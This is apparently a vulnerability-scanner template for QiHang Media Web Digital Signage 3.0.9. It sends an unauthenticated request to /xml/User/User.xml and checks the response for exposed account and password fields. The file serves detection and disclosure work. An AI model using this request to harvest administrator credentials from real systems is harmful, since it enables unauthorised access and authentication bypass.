id: qihang-media-disclosure

info:
  name: QiHang Media Web Digital Signage 3.0.9 - Cleartext Credentials Disclosure
  author: gy741
  severity: high
  description: |
    QiHang Media Web Digital Signage 3.0.9 suffers from a clear-text credentials disclosure vulnerability that allows an unauthenticated attacker to issue a request to an unprotected directory that hosts an XML file /xml/User/User.xml and obtain administrative login information that allows for a successful authentication bypass attack.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5579.php
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: qihang,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/xml/User/User.xml"

    matchers:
      - type: word
        part: body
        words:
          - "<?xml version"
          - "<Users>"
          - "account="
          - "password="
        condition: and

# digest: 4a0a00473045022100b0ccc2410095cc0b8643fecc56332837abe16e738090fb425ade88ff74dc8ee202202fb2a4c5e13026904c35c4e5b1714a655b8b1d0a2836099f26d0923adcbac7cc:922c64590222798bb761d5b6d8e72950
